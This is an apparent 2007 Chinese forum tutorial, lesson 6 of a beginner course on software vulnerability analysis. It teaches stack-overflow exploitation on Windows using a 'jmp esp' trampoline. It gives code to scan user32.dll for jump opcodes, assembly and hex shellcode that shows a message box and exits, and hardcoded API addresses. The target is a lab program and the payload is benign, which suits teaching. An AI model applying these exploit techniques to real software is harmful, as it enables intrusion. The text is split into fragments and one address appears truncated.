標(biāo)?題
:?
【技術(shù)專題】軟件漏洞分析入門_6_初級shellcode_定位緩沖區(qū)
作?者
:?
failwest
時?間
:?
2007
-
12
-
18
,
21
:
23
鏈?接
:?
http
:
//bbs.pediy.com/showthread.php?t=56755
第
6
講?shellcode初級_定位緩沖區(qū)
精勤求學(xué),敦篤勵志
?
跟貼中看到已經(jīng)有不少朋友成功的完成了前面的所有例題,今天我們在前面的基礎(chǔ)上,繼續(xù)深入。每一講我都會引入一些新的知識和技術(shù),但只有一點點,因為我希望在您讀完貼之后就能立刻消化吸收,這是標(biāo)準(zhǔn)的循序漸進的案例式學(xué)習(xí)方法
?
另外在今天開始之前,我順便說一下后面的教學(xué)計劃:
?
我會再用
3
~
4
次的講座來闡述shellcode技術(shù),確保大家能夠在比較簡單的漏洞場景下實現(xiàn)通用、穩(wěn)定的溢出利用程序(exploit)
?
之后我會安排一次“期中考試”,呵呵,時間初步定在元旦的三天假期內(nèi)?!捌谥锌荚嚒币詄xploit?me的形式給出。不用擔(dān)心,如果你掌握了我每堂課的內(nèi)容,相信一定能獨立完成這些exploit?me的。
?
“優(yōu)秀答卷”會有獎勵,這個我和看雪正在籌劃之中,不過提前告訴大家,至少我的書《
0day
安全:軟件漏洞分析與利用》和看雪的《加密與解密第
3
版》是少不了的,至于有沒有新的贊助和獎品,請大家留意最近論壇上的通知吧。
?
學(xué)習(xí)是一件枯燥的事情,包括安全技術(shù)在內(nèi)。我只能讓這枯燥和晦澀的技術(shù)盡量變得生動有趣,但這并不意味著隨隨便便就能領(lǐng)會其中的內(nèi)涵。精勤求學(xué),敦篤勵志的精神永遠是需要的,不光是安全技術(shù),學(xué)習(xí)任何東西都需要。
?
大家打起精神來,在學(xué)幾次,說不定在獲得exploit的樂趣的同時,還能賺點好處呢。呵呵。
?
好了,在開始今天課程之前,先回憶下第
5
講在結(jié)束時,我提出的windows平臺下的幾個關(guān)鍵問題:
?
1
:緩沖區(qū)距離返回地址間的距離確定,或者說緩沖區(qū)大小的確定。一般我們通過調(diào)試可以直接看出緩沖區(qū)的大小。但是實際漏洞利用中,有時緩沖區(qū)的大小甚至是動態(tài)?的,這臺機器上返回地址是
200
個字節(jié)的偏移,下個機器就可能變成
208
字節(jié)了。
?
2
:定位shellcode的位置。棧幀中的緩沖區(qū)地址經(jīng)常是不定的,尤其是在windows平臺下。要想在淹沒返回地址后準(zhǔn)確的返回到shellcode上,像第
5
講那樣直接在調(diào)試中查出來寫死在password
.
txt文件中肯定不行
?
3
:定位需要的API。在shellcode中一般要完綁定端口建立socket偵聽等功能,需要調(diào)用一系列windowsAPI。這些API的入口地址根據(jù)操作系統(tǒng)的版本,補丁版本會有很大差異。像第
5
講中那樣直接把API地址查出來是沒辦法寫出穩(wěn)定的,通用的shellcode的
?
4
:shellcode對特定字節(jié)的敏感。在跟貼中已經(jīng)有同學(xué)發(fā)現(xiàn)這個問題了,strcpy,fscan對于一些特定的字節(jié)有特殊的處理,如串截斷符?
0x00
等。當(dāng)限制較少時,編寫shellcode還可以通過選用特殊指令來避免這些值,但有時會限制比較苛刻,這將對shellcode的開發(fā)帶來很大困難——用匯編寫程序本來就夠難了,還要考慮指令對應(yīng)的機器碼的值
5
:shellcode的大小也很重要。即便是高手,完成一個比較通用的用于綁定端口的shellcode也要
300
~
400
字節(jié)。當(dāng)緩沖區(qū)非常狹小時,有什么辦法能夠優(yōu)化shellcode讓它變得更精悍些呢?
?
這些內(nèi)容就是接下來幾講我們將要關(guān)注的東西。今天我們主要來看第
2
個問題,怎樣做到比較通用和穩(wěn)定的確定緩沖區(qū)(shellcode)的位置。
?
?
????回憶第
5
講中的代碼植入實驗,當(dāng)我們可以用越界的字符完全控制返回地址后,需要將返回地址改寫成shellcode在內(nèi)存中的起始地址。在實際的漏洞利用過程中,由于動態(tài)鏈接庫的裝入和卸載等原因,windows進程的函數(shù)棧幀很有可能會產(chǎn)生“移位”,即shellcode在內(nèi)存中的地址是會動態(tài)變化的,因此像第
5
講中那樣將返回地址簡單地覆蓋成一個定值的作法往往不能讓exploit奏效。
?
?
圖
1
?
?
????
因此,要想使exploit不致于
10
次中只有
2
次能成功地運行shellcode,我們必須想出一種方法能夠在程序運行時動態(tài)定位棧中的shellcode。
?
回顧第
5
講中實驗在verify_password函數(shù)返回后棧中的情況:
?
圖
2
?
?
綠色的線條體現(xiàn)了代碼植入的流程:將返回地址淹沒為我們手工查出的shellcode起始地址
0x0012FAF0
,函數(shù)返回時這個地址被彈入EIP寄存器,處理器按照EIP寄存器中的地址取指令,最后棧中的數(shù)據(jù)被處理器當(dāng)成指令得以執(zhí)行。
?
紅色的線條則點出了這樣一個細(xì)節(jié):在函數(shù)返回的時候,ESP恰好指向棧幀中返回地址的后一個位置!
?
????一般情況下,ESP寄存器中的地址總是指向系統(tǒng)棧中且不會被溢出的數(shù)據(jù)破壞。函數(shù)返回時,ESP所指的位置恰好是我們所淹沒的返回地址的下一個位置。
?
注意:函數(shù)返回時ESP所指位置與函數(shù)調(diào)用約定、返回指令等有關(guān)。如retn?
3
與retn?
4
在返回后,ESP所指的位置都會有所差異。
?
?
圖
3
?
?
?
?
????
由于ESP寄存器在函數(shù)返回后不被溢出數(shù)據(jù)干擾,且始終指向返回地址之后的位置,我們可以使用上圖所示的這種定位shellcode的方法來進行動態(tài)定位:
?
用內(nèi)存中任意一個jmp?esp指令的地址覆蓋函數(shù)返回地址,而不是原來用手工查出的shellcode起始地址直接覆蓋
?
函數(shù)返回后被重定向去執(zhí)行內(nèi)存中的這條jmp?esp指令,而不是直接開始執(zhí)行shellcode
?
由于esp在函數(shù)返回時仍指向棧區(qū)(函數(shù)返回地址之后),jmp?esp指令被執(zhí)行后,處理器會到棧區(qū)函數(shù)返回地址之后的地方取指令執(zhí)行。
?
重新布置shellcode。在淹沒函數(shù)返回地址后,繼續(xù)淹沒一片??臻g。將緩沖區(qū)前邊一段地方用任意數(shù)據(jù)填充,把shellcode恰好擺放在函數(shù)返回地址之后。這樣jmp?esp指令執(zhí)行過后會恰好跳進shellcode。
?
????這種定位shellcode的方法使用進程空間里一條jmp?esp指令做“跳板”,不論棧幀怎么“移位”,都能夠精確的跳回棧區(qū),從而適應(yīng)程序運行中shellcode內(nèi)存地址的動態(tài)變化。 ?
????下面就請和我一起把第
5
講中的password
.
txt文件改造成上述思路的exploit,并加入安全退出的代碼避免點擊消息框后程序的崩潰。 ?
????我們必須首先獲得進程空間內(nèi)一條jmp?esp指令的地址作為“跳板”。
?
????第
5
講中的有漏洞的密碼驗證程序已經(jīng)加載了user32
.
dll,所以我們準(zhǔn)備使用user32
.
dll中的jmp?esp指令做為跳板。這里給出兩種方法獲得跳轉(zhuǎn)指令。第一種當(dāng)然是編程了,自己動手,豐衣足食。事實上所有的問題都能夠通過自己編程來解決的。這是我的程序
?
?
#include?
<
windows
.
h
>
#include?
<
stdio
.
h
>
#define?
DLL_NAME?
"user32.dll"
main
()
{
????
BYTE
*?
ptr
;
????
int?
position
,
address
;
????
HINSTANCE?handle
;
????
BOOL?done_flag?
=?
FALSE
;
????
handle
=
LoadLibrary
(
DLL_NAME
);
????
if
(!
handle
)
????{
????????
printf
(
"?load?dll?erro?!"
);
????????
exit
(
0
);
????}
?
????
ptr?
=?(
BYTE
*)
handle
;
?
????
for
(
position?
=?
0
;?!
done_flag
;?
position
++)
????{
????????
try
????????
{
????????????
if
(
ptr
[
position
]?==?
0xFF?
&&?
ptr
[
position
+
1
]?==?
0xE4
)
????????????{
????????????????
//0xFFE4?is?the?opcode?of?jmp?esp
????????????????
int?
address?
=?(
int
)
ptr?
+?
position
;
????????????????
printf
(
"OPCODE?found?at?0x%x\n"
,
address
);
????????????}
????????}
????????
catch
(...)
????????{
????????????
int?
address?
=?(
int
)
ptr?
+?
position
;
????????????
printf
(
"END?OF?0x%x\n"
,?
address
);
????????????
done_flag?
=?
true
;
????????}
????}
}
?
????
jmp?esp對應(yīng)的機器碼是
0xFFE4
,上述程序的作用就是從user32
.
dll在內(nèi)存中的基地址開始向后搜索
0xFFE4
,如果找到就返回其內(nèi)存地址(指針值)。
?
????如果您想使用別的動態(tài)鏈接庫中的地址如“kernel32
.
dll”
,
“mfc42
.
dll”等;或者使用其他類型的跳轉(zhuǎn)地址如call?esp,jmp?ebp等的話,也可以通過對上述程序稍加修改而輕易獲得。
?
????除此以外,還可以通過OllyDbg的插件輕易的獲得整個進程空間中的各類跳轉(zhuǎn)地址。
?
?
這里給出這個插件,點擊下載插件OllyUni
.
dll:OllyUni
.
rar
?
?
?
把它放在OllyDbg目錄下的Plugins文件夾內(nèi),重新啟動OllyDbg進行調(diào)試,在代碼框內(nèi)單擊右鍵,就可以使用這個插件了,如圖:
?
?
圖
4
?
?
搜索結(jié)束后,點擊OllyDbg中的“L”快捷按鈕,就可以在日志窗口中查看搜索結(jié)果了。
?
????運行我們自己編寫程序搜索跳轉(zhuǎn)地址得到的結(jié)果和OllyDbg插件搜到的結(jié)果基本相同,如圖:
?
圖
5
?
?
????
注意:跳轉(zhuǎn)指令的地址將直接關(guān)系到exploit的通用性。事實上kernel32
.
dll與user32
.
dll在不同的操作系統(tǒng)版本和補丁版本中,也是有所差異的。最佳的跳轉(zhuǎn)地址位于那些“千年不變”且被幾乎所有進程都加載的模塊中。選擇哪里的跳轉(zhuǎn)地址將直接影響到exploit的通用性和穩(wěn)定性。
?
????這里不妨采用位于內(nèi)存
0x77DC14CC
處的跳轉(zhuǎn)地址jmp?esp作為定位shellcode的“跳板”————我并不保證這個地址通用,請你在自己的機器上重新搜索。
?
????在制作exploit的時候,還應(yīng)當(dāng)修復(fù)第
5
講中的shellcode無法正常退出的缺陷。有幾種思路,可以恢復(fù)堆棧和寄存器之后,返回到原來的程序流程,這里我用個簡單點的偷懶的辦法,在調(diào)用MessageBox之后通過調(diào)用exit函數(shù)讓程序干凈利落的退出。
?
????這里仍然用dependency?walker獲得這個函數(shù)的入口地址。如圖,ExitProcess是kernel32
.
dll的導(dǎo)出函數(shù),故首先查出kernel32
.
dll的加載基址:
0x7C800000
,然后加上函數(shù)的偏移地址:
0x0001CDDA
,得到函數(shù)入口最終的內(nèi)存地址?
0x7C81CDDA
。 ?
圖
6
?
?
????
寫出的shellcode的源代碼如下:
?
#include?
<
windows
.
h
>
int?
main
()
{????
????
HINSTANCE?LibHandle
;
????
char?
dllbuf
[
11
]?=?
"user32.dll"
;
????
LibHandle?
=?
LoadLibrary
(
dllbuf
);
????
_asm
{
????????????????
sub?sp
,
0x440
????????????????
xor?
ebx
,
ebx
????????????????push?ebx?
//?cut?string
????????????????
push?
0x74736577
????????????????
push?
0x6C696166
//push?failwest
?
????????????????
mov?eax
,
esp?
//load?address?of?failwest
????????????????
push?ebx????
????????????????push?eax
????????????????push?eax
????????????????push?ebx
?
????????????????mov?eax
,
0x77D804EA?
//?address?should?be?reset?in?different?OS
????????????????
call?eax?
//call?MessageboxA
?
????????????????
push?ebx
????????????????mov?eax
,
0x7C81CDDA
????????????????
call?eax?
//call?exit(0)
????
}
}
?
?
????
為了提取出匯編代碼對應(yīng)的機器碼,我們將上述代碼用VC6
.0
編譯運行通過后,再用OllyDbg加載可執(zhí)行文件,選中所需的代碼后可直接將其dump到文件中:
?
?

圖
7
?
?
?
TIPS:不如直接在匯編碼中加一個__asm?int3,OD啟動后會自動停在shellcode之前。
?
?
????通過IDA?Pro等其他反匯編工具也可以從PE文件中得到對應(yīng)的機器碼。當(dāng)然如果熟悉intel指令集的話,也可以為自己編寫專用的由匯編指令到機器指令的轉(zhuǎn)換工具。
?
????現(xiàn)在我們已經(jīng)具備了制作新exploit需要的所有信息:
?
搜索到的jmp?esp地址,用作重定位shellcode的“跳板”:
0x77DC14CC
?
修改后并重新提取得到的shellcode:
?
機器代碼(
16
進制)????匯編指令?????注釋
33?
DB?????XOR?EBX
,
EBX????壓入NULL結(jié)尾的”failwest”字符串。之所以用EBX?
清零后入棧做為字符串的截斷符,是為了避免
“PUSH?
0
”中的NULL,否則植入的機器碼會被
strcpy函數(shù)截斷。
53?????
PUSH?EBX????
68?77?65?73?74?????
PUSH?
74736577????
68?66?61?69?6C?????
PUSH?
6C696166????
8B?
C4?????MOV?EAX
,
ESP?EAX里是字符串指針
53?????
PUSH?EBX?四個參數(shù)按照從右向左的順序入棧,分別為
:
(
0
,
failwest
,
failwest
,
0
)
消息框為默認(rèn)風(fēng)格,文本區(qū)和標(biāo)題都是“failwest”
50?????
PUSH?EAX????
50?????
PUSH?EAX????
53?????
PUSH?EBX????
B8?EA?
04?
D8?
77?????
MOV?EAX
,?
0x77D804EA????
調(diào)用MessageBoxA。注意不同的機器這
里的函數(shù)入口地址可能不同,請按實際值填入
!
FF?D0?????CALL?EAX????
53?????
PUSH?EBX?????調(diào)用exit
(
0
)
。注意不同的機器這里的函數(shù)入口地址可
能不同,請按實際值填入
!
B8?DA?CD?
81?7C?
MOV?EAX
,?
0x7C81CD????
FF?D0?????CALL?EAX????
?
按照第
5
講中對棧內(nèi)情況的分析,我們將password
.
txt制作成如下形式:
?
圖
8
?
?
?
????
現(xiàn)在再運行密碼驗證程序,怎么樣,程序退出的時候不會報內(nèi)存錯誤了吧。雖然還是同樣的消息框,但是這次植入代碼的流程和第
5
講中已有很大不同了,最核心的地方就是使用了跳轉(zhuǎn)地址定位shellcode,進程被劫持的過程正如圖
3
中我們設(shè)計的那樣。你得到那個熟悉的消息框了么?
?
不要小看著一點點改進。這個改進在windows漏洞利用的歷史上有著舉足輕重的里程碑意義。在溢出研究開始,大家都關(guān)注于linux系列的平臺,阻礙大家研究windows平臺下溢出的一個非常重要的問題就是棧幀移位引起的緩沖區(qū)位置很難確定。
?
我把這些技術(shù)點分開來一個一個的講,是為了方便您的理解,也是為了加深印象。當(dāng)您徹底領(lǐng)會了這些技術(shù)點之后,在后面講到用framework的方式編寫exploit的時候,您就能更輕松的掌握了。
?
好,今天到此為止。實驗成功了不要忘了在跟貼中吱——吱——吱啊,呵呵。下次見。
|
|
公告
常用鏈接
留言簿(113)
隨筆分類
隨筆檔案
文章分類
相冊
Link
搜索
最新評論

閱讀排行榜
評論排行榜
|
|